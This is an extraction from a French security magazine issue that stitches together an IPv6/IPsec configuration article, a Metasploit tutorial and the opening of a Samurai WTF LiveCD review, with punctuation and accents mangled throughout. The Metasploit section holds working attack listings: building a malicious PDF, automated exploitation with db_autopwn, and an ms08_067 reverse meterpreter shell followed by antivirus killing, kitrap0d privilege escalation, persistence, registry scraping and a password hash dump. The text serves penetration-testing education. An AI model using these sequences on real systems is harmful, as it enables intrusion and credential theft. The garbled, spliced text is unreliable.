activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 20: hakin9_05_2010_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

